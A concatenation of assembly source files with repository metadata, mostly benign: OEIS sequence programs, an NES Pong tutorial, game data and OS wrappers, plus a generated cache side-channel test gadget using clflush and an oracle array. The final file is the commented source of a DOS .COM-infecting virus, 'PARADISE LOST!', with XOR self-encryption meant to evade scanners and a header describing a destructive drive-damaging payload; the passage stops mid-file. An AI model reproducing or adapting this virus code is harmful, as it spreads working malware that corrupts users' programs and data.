; move battle menu references org $0000 incbin "foobar.bin" org $ce1a BSR battle_submenu org $be5e BSR battle_menu org $b748 battle_submenu: LEA $20FB3, a0 RTS org $b7c0 battle_menu: LEA $20fe2, a0 RTS
11.05
29
0.705882
[ "MIT" ]
tashiww/maten_tools
reference_asm/battle_menu.asm
221
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %r8 push %r9 push %rdi push %rdx lea addresses_WC_ht+0xdd1a, %rdx clflush (%rdx) nop and %r8, %r8 movl $0x61626364, (%rdx) add $36183, %r9 lea addresses_UC_ht+0x791a, %r15 nop nop and $29587, %r13 movb (%r15), %r11b nop nop cmp %r9, %r9 pop %rdx pop %rdi pop %r9 pop %r8 pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r8 push %r9 push %rbx push %rdi // Store lea addresses_A+0x11c9e, %r12 nop nop cmp %r11, %r11 movw $0x5152, (%r12) nop nop nop nop nop cmp $40002, %r9 // Faulty Load lea addresses_US+0x111a, %rdi clflush (%rdi) nop sub %r14, %r14 vmovups (%rdi), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r11 lea oracles, %rdi and $0xff, %r11 shlq $12, %r11 mov (%rdi,%r11,1), %r11 pop %rdi pop %rbx pop %r9 pop %r8 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'00': 20} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
18.422222
125
0.643546
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/US/_zr_/i7-7700_9_0x48.log_20_2375.asm
1,658
Assembly
; A212069: Number of (w,x,y,z) with all terms in {1,...,n} and 3*w = x+y+z. ; Submitted by Jon Maiga ; 0,1,2,9,22,41,72,115,170,243,334,443,576,733,914,1125,1366,1637,1944,2287,2666,3087,3550,4055,4608,5209,5858,6561,7318,8129,9000,9931,10922,11979,13102,14291,15552,16885,18290,19773,21334,22973 pow $0,3 sub $2,$0 cmp $0,1 add $0,3 add $2,1 gcd $0,$2 sub $0,$2 div $0,3
28.692308
195
0.680965
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/212/A212069.asm
373
Assembly
; A041449: Denominators of continued fraction convergents to sqrt(240). ; Submitted by Christian Krause ; 1,2,61,124,3781,7686,234361,476408,14526601,29529610,900414901,1830359412,55811197261,113452753934,3459393815281,7032240384496,214426605350161,435885451084818,13290990137894701,27017865726874220,823826961944121301,1674671789615116822,51063980650397625961,103802633090410368744,3165142973362708688281,6434088579815827745306,196187800367837541047461,398809689315490909840228,12160478479832564836254301,24719766648980620582348830,753753477949251182306719201,1532226722547482985195787232 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,15 mul $2,30 lpe mov $0,$2 div $0,30
41.823529
485
0.838256
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/041/A041449.asm
711
Assembly
.inesprg 1 ; 1x 16KB PRG code .ineschr 1 ; 1x 8KB CHR data .inesmap 0 ; mapper 0 = NROM, no bank swapping .inesmir 1 ; background mirroring ;;;;;;;;;;;;;;; ;; DECLARE SOME VARIABLES HERE .rsset $0000 ;;start variables at ram location 0 gamestate .rs 1 ; .rs 1 means reserve one byte of space ballx .rs 1 ; ball horizontal position bally .rs 1 ; ball vertical position ballup .rs 1 ; 1 = ball moving up balldown .rs 1 ; 1 = ball moving down ballleft .rs 1 ; 1 = ball moving left ballright .rs 1 ; 1 = ball moving right ballspeedx .rs 1 ; ball horizontal speed per frame ballspeedy .rs 1 ; ball vertical speed per frame paddle1ytop .rs 1 ; player 1 paddle top vertical position paddle2ybot .rs 1 ; player 2 paddle bottom vertical position buttons1 .rs 1 ; player 1 gamepad buttons, one bit per button buttons2 .rs 1 ; player 2 gamepad buttons, one bit per button scoreOnes .rs 1 ; byte for each digit in the decimal score scoreTens .rs 1 scoreHundreds .rs 1 ;; DECLARE SOME CONSTANTS HERE STATETITLE = $00 ; displaying title screen STATEPLAYING = $01 ; move paddles/ball, check for collisions STATEGAMEOVER = $02 ; displaying game over screen RIGHTWALL = $F4 ; when ball reaches one of these, do something TOPWALL = $20 BOTTOMWALL = $E0 LEFTWALL = $04 PADDLE1X = $08 ; horizontal position for paddles, doesnt move PADDLE2X = $F0 ;;;;;;;;;;;;;;;;;; .bank 0 .org $C000 RESET: SEI ; disable IRQs CLD ; disable decimal mode LDX #$40 STX $4017 ; disable APU frame IRQ LDX #$FF TXS ; Set up stack INX ; now X = 0 STX $2000 ; disable NMI STX $2001 ; disable rendering STX $4010 ; disable DMC IRQs vblankwait1: ; First wait for vblank to make sure PPU is ready BIT $2002 BPL vblankwait1 clrmem: LDA #$00 STA $0000, x STA $0100, x STA $0300, x STA $0400, x STA $0500, x STA $0600, x STA $0700, x LDA #$FE STA $0200, x INX BNE clrmem vblankwait2: ; Second wait for vblank, PPU is ready after this BIT $2002 BPL vblankwait2 LoadPalettes: LDA $2002 ; read PPU status to reset the high/low latch LDA #$3F STA $2006 ; write the high byte of $3F00 address LDA #$00 STA $2006 ; write the low byte of $3F00 address LDX #$00 ; start out at 0 LoadPalettesLoop: LDA palette, x ; load data from address (palette + the value in x) ; 1st time through loop it will load palette+0 ; 2nd time through loop it will load palette+1 ; 3rd time through loop it will load palette+2 ; etc STA $2007 ; write to PPU INX ; X = X + 1 CPX #$20 ; Compare X to hex $10, decimal 16 - copying 16 bytes = 4 sprites BNE LoadPalettesLoop ; Branch to LoadPalettesLoop if compare was Not Equal to zero ; if compare was equal to 32, keep going down ;;;Set some initial ball stats LDA #$01 STA balldown STA ballright LDA #$00 STA ballup STA ballleft LDA #$50 STA bally LDA #$80 STA ballx LDA #$02 STA ballspeedx STA ballspeedy ;;;Set initial score value LDA #$00 STA scoreOnes STA scoreTens STA scoreHundreds ;;:Set starting game state LDA #STATEPLAYING STA gamestate LDA #%10010000 ; enable NMI, sprites from Pattern Table 0, background from Pattern Table 1 STA $2000 LDA #%00011110 ; enable sprites, enable background, no clipping on left side STA $2001 Forever: JMP Forever ;jump back to Forever, infinite loop, waiting for NMI NMI: LDA #$00 STA $2003 ; set the low byte (00) of the RAM address LDA #$02 STA $4014 ; set the high byte (02) of the RAM address, start the transfer JSR DrawScore ;;This is the PPU clean up section, so rendering the next frame starts properly. LDA #%10010000 ; enable NMI, sprites from Pattern Table 0, background from Pattern Table 1 STA $2000 LDA #%00011110 ; enable sprites, enable background, no clipping on left side STA $2001 LDA #$00 ;;tell the ppu there is no background scrolling STA $2005 STA $2005 ;;;all graphics updates done by here, run game engine JSR ReadController1 ;;get the current button data for player 1 JSR ReadController2 ;;get the current button data for player 2 GameEngine: LDA gamestate CMP #STATETITLE BEQ EngineTitle ;;game is displaying title screen LDA gamestate CMP #STATEGAMEOVER BEQ EngineGameOver ;;game is displaying ending screen LDA gamestate CMP #STATEPLAYING BEQ EnginePlaying ;;game is playing GameEngineDone: JSR UpdateSprites ;;set ball/paddle sprites from positions RTI ; return from interrupt ;;;;;;;; EngineTitle: ;;if start button pressed ;; turn screen off ;; load game screen ;; set starting paddle/ball position ;; go to Playing State ;; turn screen on JMP GameEngineDone ;;;;;;;;; EngineGameOver: ;;if start button pressed ;; turn screen off ;; load title screen ;; go to Title State ;; turn screen on JMP GameEngineDone ;;;;;;;;;;; EnginePlaying: MoveBallRight: LDA ballright BEQ MoveBallRightDone ;;if ballright=0, skip this section LDA ballx CLC ADC ballspeedx ;;ballx position = ballx + ballspeedx STA ballx LDA ballx CMP #RIGHTWALL BCC MoveBallRightDone ;;if ball x < right wall, still on screen, skip next section LDA #$00 STA ballright LDA #$01 STA ballleft ;;bounce, ball now moving left ;;in real game, give point to player 1, reset ball jsr IncrementScore MoveBallRightDone: MoveBallLeft: LDA ballleft BEQ MoveBallLeftDone ;;if ballleft=0, skip this section LDA ballx SEC SBC ballspeedx ;;ballx position = ballx - ballspeedx STA ballx LDA ballx CMP #LEFTWALL BCS MoveBallLeftDone ;;if ball x > left wall, still on screen, skip next section LDA #$01 STA ballright LDA #$00 STA ballleft ;;bounce, ball now moving right ;;in real game, give point to player 2, reset ball jsr IncrementScore MoveBallLeftDone: MoveBallUp: LDA ballup BEQ MoveBallUpDone ;;if ballup=0, skip this section LDA bally SEC SBC ballspeedy ;;bally position = bally - ballspeedy STA bally LDA bally CMP #TOPWALL BCS MoveBallUpDone ;;if ball y > top wall, still on screen, skip next section LDA #$01 STA balldown LDA #$00 STA ballup ;;bounce, ball now moving down MoveBallUpDone: MoveBallDown: LDA balldown BEQ MoveBallDownDone ;;if ballup=0, skip this section LDA bally CLC ADC ballspeedy ;;bally position = bally + ballspeedy STA bally LDA bally CMP #BOTTOMWALL BCC MoveBallDownDone ;;if ball y < bottom wall, still on screen, skip next section LDA #$00 STA balldown LDA #$01 STA ballup ;;bounce, ball now moving down MoveBallDownDone: MovePaddleUp: ;;if up button pressed ;; if paddle top > top wall ;; move paddle top and bottom up MovePaddleUpDone: MovePaddleDown: ;;if down button pressed ;; if paddle bottom < bottom wall ;; move paddle top and bottom down MovePaddleDownDone: CheckPaddleCollision: ;;if ball x < paddle1x ;; if ball y > paddle y top ;; if ball y < paddle y bottom ;; bounce, ball now moving left CheckPaddleCollisionDone: JMP GameEngineDone UpdateSprites: LDA bally ;;update all ball sprite info STA $0200 LDA #$30 STA $0201 LDA #$00 STA $0202 LDA ballx STA $0203 ;;update paddle sprites RTS DrawScore: LDA $2002 LDA #$20 STA $2006 LDA #$20 STA $2006 ; start drawing the score at PPU $2020 LDA scoreHundreds ; get first digit ; CLC ; ADC #$30 ; add ascii offset (this is UNUSED because the tiles for digits start at 0) STA $2007 ; draw to background LDA scoreTens ; next digit ; CLC ; ADC #$30 ; add ascii offset STA $2007 LDA scoreOnes ; last digit ; CLC ; ADC #$30 ; add ascii offset STA $2007 RTS IncrementScore: IncOnes: LDA scoreOnes ; load the lowest digit of the number CLC ADC #$01 ; add one STA scoreOnes CMP #$0A ; check if it overflowed, now equals 10 BNE IncDone ; if there was no overflow, all done IncTens: LDA #$00 STA scoreOnes ; wrap digit to 0 LDA scoreTens ; load the next digit CLC ADC #$01 ; add one, the carry from previous digit STA scoreTens CMP #$0A ; check if it overflowed, now equals 10 BNE IncDone ; if there was no overflow, all done IncHundreds: LDA #$00 STA scoreTens ; wrap digit to 0 LDA scoreHundreds ; load the next digit CLC ADC #$01 ; add one, the carry from previous digit STA scoreHundreds IncDone: ReadController1: LDA #$01 STA $4016 LDA #$00 STA $4016 LDX #$08 ReadController1Loop: LDA $4016 LSR A ; bit0 -> Carry ROL buttons1 ; bit0 <- Carry DEX BNE ReadController1Loop RTS ReadController2: LDA #$01 STA $4016 LDA #$00 STA $4016 LDX #$08 ReadController2Loop: LDA $4017 LSR A ; bit0 -> Carry ROL buttons2 ; bit0 <- Carry DEX BNE ReadController2Loop RTS ;;;;;;;;;;;;;; .bank 1 .org $E000 palette: .db $22,$29,$1A,$0F, $22,$36,$17,$0F, $22,$30,$21,$0F, $22,$27,$17,$0F ;;background palette .db $22,$1C,$15,$14, $22,$02,$38,$3C, $22,$1C,$15,$14, $22,$02,$38,$3C ;;sprite palette sprites: ;vert tile attr horiz .db $80, $32, $00, $80 ;sprite 0 .db $80, $33, $00, $88 ;sprite 1 .db $88, $34, $00, $80 ;sprite 2 .db $88, $35, $00, $88 ;sprite 3 .org $FFFA ;first of the three vectors starts here .dw NMI ;when an NMI happens (once per frame if enabled) the ;processor will jump to the label NMI: .dw RESET ;when the processor first turns on or is reset, it will jump ;to the label RESET: .dw 0 ;external interrupt IRQ is not used in this tutorial ;;;;;;;;;;;;;; .bank 2 .org $0000 .incbin "mario.chr" ;includes 8KB graphics file from SMB1
24.10989
99
0.600365
[ "MIT" ]
ryanplusplus/nes-dev
nerdy-nights-nesasm/week9/pong2.asm
10,970
Assembly
; A133567: A007318 * A133566. ; Submitted by Christian Krause ; 1,1,1,1,3,1,1,6,3,1,1,10,6,5,1,1,15,10,15,5,1,1,21,15,35,15,7,1,1,28,21,70,35,28,7,1,1,36,28,126,70,84,28,9,1,1,45,36,210,126,210,84,45,9,1 lpb $0 add $1,1 sub $0,$1 mov $2,$1 sub $2,$0 lpe mod $0,2 add $0,$1 bin $0,$2
20.857143
141
0.59589
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/133/A133567.asm
292
Assembly
#ruledef test { ld r{x}, {y} => 0x55 @ x`8 @ y`8 } ld r 0 , 0x34 ; = 0x550034
13.666667
36
0.487805
[ "Apache-2.0" ]
Artentus/customasm
tests/rule_arg_glued/11.asm
82
Assembly
; A244854: Decimal expansion of Pi^2/32. ; Submitted by Christian Krause ; 3,0,8,4,2,5,1,3,7,5,3,4,0,4,2,4,5,6,8,3,8,5,7,7,8,4,3,7,4,6,1,2,9,7,2,2,9,7,8,5,5,3,1,0,6,4,7,6,2,7,4,7,0,7,0,7,5,4,1,7,1,6,8,0,0,6,8,7,6,4,0,0,7,0,0,6,0,0,1,6,3,8,4,3,8,0,5 add $0,1 mov $1,1 mov $2,1 mov $3,$0 mul $3,5 sub $3,1 lpb $3 mul $1,$3 mov $5,$3 mul $5,2 add $5,1 mul $2,$5 add $1,$2 div $1,$0 div $2,$0 sub $3,1 lpe pow $1,2 mul $2,2 pow $2,2 mul $2,2 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
16.15625
175
0.535783
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/244/A244854.asm
517
Assembly
; A163608: a(n) = ((5 + 2*sqrt(2))*(2 + sqrt(2))^n + (5 - 2*sqrt(2))*(2 - sqrt(2))^n)/2. ; 5,14,46,156,532,1816,6200,21168,72272,246752,842464,2876352,9820480,33529216,114475904,390845184,1334428928,4556025344,15555243520,53108923392,181325206528,619082979328,2113681504256,7216560058368,24638877224960,84122388783104,287211800682496,980602425163776,3347986099290112,11430739546832896,39026985988751360,133246464861339648,454931887467855872,1553234620148744192,5303074705659265024,18105829582339571712,61817168918039756800,211057016507479883776,720593728193840021504,2460260879760400318464 mov $1,5 mov $2,4 lpb $0 sub $0,1 sub $1,2 mul $2,2 add $2,$1 add $1,$2 lpe mov $0,$1
49.071429
500
0.791849
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/163/A163608.asm
687
Assembly
SFX_SS_Anne_Horn_1_Ch4: duty 2 unknownsfx0x20 15, 240, 0, 5 unknownsfx0x20 4, 0, 0, 0 unknownsfx0x20 15, 240, 0, 5 unknownsfx0x20 15, 240, 0, 5 unknownsfx0x20 15, 240, 0, 5 unknownsfx0x20 15, 240, 0, 5 unknownsfx0x20 15, 242, 0, 5 endchannel SFX_SS_Anne_Horn_1_Ch5: duty 3 unknownsfx0x20 15, 240, 130, 4 unknownsfx0x20 4, 0, 0, 0 unknownsfx0x20 15, 240, 130, 4 unknownsfx0x20 15, 240, 130, 4 unknownsfx0x20 15, 240, 130, 4 unknownsfx0x20 15, 240, 130, 4 unknownsfx0x20 15, 242, 130, 4 endchannel
22.434783
31
0.724806
[ "MIT" ]
ETDV-TheVoid/pokemon-rgb-enhanced
audio/sfx/ss_anne_horn_1.asm
516
Assembly
; find out hardware map HWN I :query_loop SUB I, 1 HWQ I IFE B, 0x7349 IFE A, 0xf615 SET [monitor_n], I IFN I, 0 SET PC, query_loop ; set up monitor SET A, 0 SET B, 0x8000 HWI [monitor_n] SET A, 1 SET B, 0x8180 HWI [monitor_n] ; load character data: SET A, shroom SET B, shroom_end SET C, 0x8180 JSR copy SET A, flower SET B, flower_end SET C, 0x8190 JSR copy SET A, star SET B, star_end SET C, 0x81a0 JSR copy ; animation: SET X, 0 :anim_loop SET A, 0xf000 SET I, [pathx+X] SET PUSH, I SET J, [pathy+X] SET PUSH, J JSR draw SET A, 0xf008 SET Y, X ADD Y, 6 MOD Y, 20 SET I, [pathx+Y] SET PUSH, I SET Y, X ADD Y, 6 MOD Y, 20 SET J, [pathy+Y] SET PUSH, J JSR draw SET A, 0xf010 SET Y, X ADD Y, 12 MOD Y, 20 SET I, [pathx+Y] SET PUSH, I SET Y, X ADD Y, 12 MOD Y, 20 SET J, [pathy+Y] SET PUSH, J JSR draw JSR delay SET A, 0x0000 SET J, POP SET I, POP JSR clear SET J, POP SET I, POP JSR clear SET J, POP SET I, POP JSR clear ADD X, 1 IFE X, 20 SET X, 0 SET PC, anim_loop SUB PC, 1 ; copy memory range [A,B[ to C :copy SET PUSH, A SET PUSH, C :copy_loop IFE A, B SET PC, copy_end SET [C], [A] ADD A, 1 ADD C, 1 SET PC, copy_loop :copy_end SET C, POP SET A, POP SET PC, POP ; clear 4x2-char graphic from (I,J) with color info in A :clear SET PUSH, X SET X, J SHL X, 5 ADD X, I SET [0x8000+X], A SET [0x8001+X], A SET [0x8002+X], A SET [0x8003+X], A SET [0x8020+X], A SET [0x8021+X], A SET [0x8022+X], A SET [0x8023+X], A SET X, POP SET PC, POP ; draw 4x2-char graphic starting at character A to (I,J) with color info in A :draw SET PUSH, A SET PUSH, X SET X, J SHL X, 5 ADD X, I SET [0x8000+X], A ADD A, 1 SET [0x8001+X], A ADD A, 1 SET [0x8002+X], A ADD A, 1 SET [0x8003+X], A ADD A, 1 SET [0x8020+X], A ADD A, 1 SET [0x8021+X], A ADD A, 1 SET [0x8022+X], A ADD A, 1 SET [0x8023+X], A SET X, POP SET A, POP SET PC, POP :delay SET PUSH, A SET A, 0x400 :delay_loop SUB A, 1 IFE A, 0 SET PC, delay_loop SET A, POP SET PC, POP :shroom DAT 0xe0f8,0xfce6, 0x0ecf,0xe7e1, 0xe1e7,0xcf0e, 0xe6fc,0xf8e0 DAT 0x0f19,0x79cc, 0x8485,0x9f87, 0x879f,0x8584, 0xcc79,0x190f :shroom_end :flower DAT 0x7cc6,0x82bb, 0x296d,0x5555, 0x5555,0x6d29, 0xbb82,0xc67c DAT 0x1c22,0x4a55, 0xa5c9,0xbf81, 0x81bf,0xc9a5, 0x554a,0x221c :flower_end :star DAT 0x3050,0x9010, 0x1018,0xc601, 0x01c6,0x1810, 0x1090,0x5030 DAT 0xc0b0,0x8c43, 0x4020,0x2110, 0x1021,0x2040, 0x438c,0xb0c0 :star_end ; circular path :pathx DAT 14,18,21,24,26, 27,26,24,21,18, 14,10,6,3,1, 0,1,3,6,10 :pathy DAT 0, 0, 1, 2, 3, 5, 7, 8, 9,10, 10,10,9,8,7, 5,3,2,1, 0 :monitor_n DAT 0
13.601064
77
0.672272
[ "MIT" ]
denizzzka/dcpu16
examples/charmaptest.asm
2,557
Assembly
@ 5 D = A D;JLE //Yo @ 3 //Yo (JM) D=A (JUMP) @JM D;JMP
5.5
8
0.472727
[ "MIT" ]
AbstractXan/ComputerSystemDesignLab
07/Lab06 Assembler/test.asm
55
Assembly
;/*! ; @file ; ; @ingroup fapi ; ; @brief DosStopSession DOS wrapper ; ; (c) osFree Project 2022, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ; ; ;*/ .8086 ; Helpers INCLUDE helpers.inc _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @PROLOG DOSSTOPSESSION @START DOSSTOPSESSION XOR AX, AX EXIT: @EPILOG DOSSTOPSESSION _TEXT ENDS END
15.108108
69
0.683363
[ "BSD-3-Clause" ]
osfree-project/FamilyAPI
dos/DosStopSession.asm
559
Assembly
Mansion4Object: db $1 ; border block db $1 ; warps db $16, $17, $5, MANSION_1 db $0 ; signs db $8 ; objects object SPRITE_BLACK_HAIR_BOY_2, $10, $17, STAY, NONE, $1, OPP_BURGLAR, $6 object SPRITE_BLACK_HAIR_BOY_2, $1b, $b, STAY, DOWN, $2, OPP_SUPER_NERD, $8 object SPRITE_BALL, $a, $2, STAY, NONE, $3, RARE_CANDY object SPRITE_BALL, $1, $16, STAY, NONE, $4, FULL_RESTORE object SPRITE_BALL, $13, $19, STAY, NONE, $5, NUGGET object SPRITE_BALL, $5, $4, STAY, NONE, $6, TM_30 object SPRITE_BOOK_MAP_DEX, $10, $14, STAY, NONE, $7 ; person object SPRITE_BALL, $5, $d, STAY, NONE, $8, SECRET_KEY ; warp-to EVENT_DISP MANSION_4_WIDTH, $16, $17 ; MANSION_1
31.857143
76
0.678625
[ "MIT" ]
ETDV-TheVoid/pokemon-rgb-enhanced
data/mapObjects/mansion4.asm
669
Assembly
.model small .stack 100h .data .code main proc mov ah , 01h int 21h mov bl,al ;new line mov ah, 02h mov dl, 0ah int 21h mov dl, 0dh int 21h mov ah, 01h int 21h mov cl,al ;new line mov ah, 02h mov dl, 0ah int 21h mov dl, 0dh int 21h add bl,cl sub bl,30h mov dl,bl mov ah, 02h int 21h main endp end main
11.659091
17
0.417154
[ "MIT" ]
mdabdullahibnaharun/Assembly-Language
MySource/sum-newline.asm
513
Assembly
; A170635: Number of reduced words of length n in Coxeter group on 50 generators S_i with relations (S_i)^2 = (S_i S_j)^48 = I. ; 1,50,2450,120050,5882450,288240050,14123762450,692064360050,33911153642450,1661646528480050,81420679895522450,3989613314880600050,195491052429149402450,9579061569028320720050,469374016882387715282450 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,49 lpe mov $0,$2 div $0,49
30.5
201
0.765808
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/170/A170635.asm
427
Assembly
.model small outpb macro mov dx,pb out dx,al endm outpc macro mov dx,pc out dx,al endm printf macro l lea dx,l mov ah,9 int 21h endm exit macro mov ah,4ch int 21h endm .data pa equ 1190h pb equ 1191h cr equ 1193h pc equ 1192h m1 db 10,13,"any key to exit:$" fire db 8eh,0cfh,0afh,86h help db 89h,86h,0c7h,8ch .code mov ax,@data mov ds,ax mov al,80h mov dx,cr out dx,al printf m1 start: lea si,fire call disp call delay lea si,help call disp call delay mov ah,1 int 16h jz start exit disp proc mov cx,4 next_char: mov bl,8 mov al,[si] nextbit: rol al,1 outpb push ax mov al,00h outpc mov al,11h outpc pop ax dec bl jnz nextbit inc si loop next_char ret disp endp delay proc mov bx,0fffh b2: mov cx,0ffffh b1: loop b1 dec bx jnz b2 ret delay endp end
9.303371
32
0.676329
[ "MIT" ]
abhimanyudwivedi/mp-testing
p4b.asm
828
Assembly
; A132269: Product{k>=0, 1+floor(n/2^k)}. ; 1,2,6,8,30,36,56,64,270,300,396,432,728,784,960,1024,4590,4860,5700,6000,8316,8712,9936,10368,18200,18928,21168,21952,27840,28800,31744,32768,151470,156060,170100,174960,210900,216600,234000,240000,340956,349272,374616,383328,447120,457056,487296,497664,891800,910000,965328,984256,1121904,1143072,1207360,1229312,1586880,1614720,1699200,1728000,1936384,1968128,2064384,2097152,9845550,9997020,10456020,10612080,11736900,11907000,12422160,12597120,15395700,15606600,16245000,16461600,18018000,18252000,18960000,19200000,27617436,27958392,28989576,29338848,31842360,32216976,33349536,33732864,39793680,40240800,41592096,42049152,45318528,45805824,47278080,47775744,86504600,87396400,90090000,91000000,97498128,98463456,101378368,102362624,117799920,118921824,122308704,123451776,131602240,132809600,136453632,137682944,179317440,180904320,185692800,187307520,198806400,200505600,205632000,207360000,234302464,236238848,242079744,244047872,258048000,260112384,266338304,268435456,1270075950,1279921500,1309609620,1319606640,1390650660,1401106680,1432630800,1443242880,1607955300,1619692200,1655073000,1666980000,1751524560,1763946720,1801388160,1813985280,2232376500,2247772200,2294170200,2309776800,2420505000,2436750000,2485701600,2502163200,2756754000,2774772000,2829060000,2847312000,2976720000,2995680000,3052800000,3072000000,4446407196,4474024632,4557217896,4585176288,4783280040,4812269616,4899587616,4928926464,5381358840,5413201200,5509102896,5541319872,5769469728,5802819264,5903251200,5936984064,7043481360,7083275040,7203103200,7243344000,7528169376,7569761472,7694994816,7737043968,8383927680,8429246208,8565689088,8611494912,8935557120,8982835200,9125167104,9172942848,16695387800,16781892400,17042298000,17129694400,17747730000,17837820000,18109000000,18200000000,19597123728,19694621856,19988081568,20086545024,20782565440,20883943808,21189063168,21291425792,24620183280,24737983200,25092504864,25211426688,26051753952,26174062656,26542131840,26665583616,28557686080,28689288320,29085302400,29218112000,30156252672,30292706304,30703296512,30840979456,40346424000,40525741440,41065280640,41246184960,42523651200,42709344000,43268037120,43455344640,46321891200,46520697600,47118816000,47319321600,48734784000,48940416000,49559040000,49766400000,56466893824,56701196288,57406040064,57642278912,59309537280,59551617024,60279824384,60523872256,64253952000,64512000000 mov $1,5 mov $2,2 lpb $0 add $0,1 mul $1,$2 mov $2,$0 sub $0,1 div $0,2 lpe sub $1,4 div $1,5 add $1,1
158.5
2,379
0.871451
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/132/A132269.asm
2,536
Assembly
; VirusName : PARADISE LOST! ; Origin : Sweden ; Author : The Unforgiven ; Date : 20/12/93 ; This is a "mutation", of Tormentor's .COM lession. I've modified ; some stuffs, but since I liked the .EXE infector better, I didn't ; cared too much about this one. ; Anyway, this is a non-resident current directory (yuck!), infector ; of .COM programs. It've added a encryption routine, but it's nothing ; really to scream hurray for. ; It's also a bit destructive, well, it's 5% chance at each run, that ; one of drive c: or d: gets kinda phucked up. This routine was as ; usual "stolen" from Nowhere Man of NuKE. I must admit I like it! ; Scan/MSAV/CPAV and F-prot can't find as usual find shits! I think ; that ThunderByte AntiVirus heurtistic scanner found the infected ; files as "probably/possible" infected, I really dunno, you try it ; out by your self! ; "We do not live forever, but mind never leaves our souls." (Dark Image). ;============================================================================= ; **** PARADISE LOST! **** ;============================================================================= .model tiny .radix 16 .code Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. org 100 dummy_code: db 'M' ; Mark file as infected. db 3 DUP(90) ; This is to simulate a infected prog. ; Not included in virus-code. Virus_Start: call where_we_are ; Now we call the next bytes, just to ; F-prot founded the 'lession -1'virus here in the unencrypted area, but by ; simple add the push si, and the extra pop, it compleatele screwed up, and ; couldn't found it as nothing!, HA! Eat dust, looser! where_we_are: push si pop si ; Since the virus-code's address will pop si ;----------------------------------------------------------------------- ; Now we have to put back the original 4 bytes in the host program, so ; we can return control to it later: add si,_4first_bytes-where_we_are mov di,100 cld movsw movsw ;------------------------------------------------------------------------ ; We have to use SI as a reference since files differ in size thus making ; virus to be located at different addresses. sub si,_4first_bytes-Virus_Start+4 call encrypt_decrypt ; differ from victim to victim. jmp encryption_start ; a POP SI after a call will give us the ; address which equals to 'where_we_are' ; Very important. write_virus: call encrypt_decrypt mov ah,40 ; Append file with virus code. mov cx,offset Virus_Lenght mov dx,si ; Virus_Lenght. int 21 call encrypt_decrypt ret encryption_value dw 0 encrypt_decrypt: mov di,offset encryption_start-virus_start add di,si mov cx,(end_of_encryption-encryption_start+1)/2 push bx mov bx,offset encryption_value-virus_start add bx,si mov dx,word ptr [bx] pop bx again: xor word ptr cs:[di],dx add di,2 loop again ret ;------------------------------------------------------------------------ ; Now we just have to find victims, we will look for ALL .COM files in ; the current directory. encryption_start: ;set_dta: mov ah,1ah lea dx,[si+offset dta-virus_start] int 21h mov ah,4e ; We start to look for a *.COM file look4victim: mov dx,offset file_match-Virus_Start add dx,si int 21 jc no_victim_found ; clear attribs: before open file mov ax,4301h xor cx,cx lea dx,[si+virus_end+1eh] int 21h mov ax,3d02 ; Now we open the file. lea dx,[si+offset DTA-virus_start+1eh] ;now also including int 21 ; DTA. jc cant_open_file ; If file couldn't be open. xchg ax,bx ; Save filehandle in bx ; (we could use MOV BX,AX but we saves one byte by using xchg ) mov ah,3f ; Now we read the first 4 bytes mov cx,4 ; from the victim -> buffer mov dx,offset _4first_bytes-Virus_Start add dx,si ; We will then overwrite them with int 21 ; a JMP XXXX to virus-code at end. jc read_error cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M' jz sick_or_EXE ; Check if infected OR *.EXE ; Almost all EXE files starts with 'M' and we mark the infected files by ; starting with 'M' which equals to DEC BP ; Now we just have to have one check instead of 2 (infected and *.EXE) mov ax,4202 ; Position file-pointer to point at xor cx,cx ; End-of-File. xor dx,dx ; Any writing to file will now APPEND it int 21 ; Returns AX -> at end. sub ax,4 ; Just for the JMP structure. mov word ptr ds:[_4new_bytes+2],ax ; Build new JMP XXXX to virus. ; ( logic: JMP AX ) mov word ptr [si+encryption_value-virus_start],99 ; encryption_value. call write_virus ; ; mov ah,40 ; Append file with virus code. ; mov cx,offset Virus_Lenght ; mov dx,si ; Virus_Lenght. ; int 21 ; jc write_error mov ax,4200 ; Position file-pointer to begin of file xor cx,cx ; So we can change the first 3 bytes xor dx,dx ; to JMP to virus. int 21 mov ah,40 ; Write new 3 bytes. mov cx,4 ; After this, executing the file will mov dx,offset _4new_bytes-Virus_Start add dx,si ; result in virus-code executing before int 21 ; original code. jc write_error ; then close the file. mov ah,3e ; Close file, now file is infected. int 21 ; Dos function 3E (close handle) Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's jmp look4victim ; find another victim... write_error: ; Here you can test whats went wrong. read_error: ; This is just for debugging purpose. 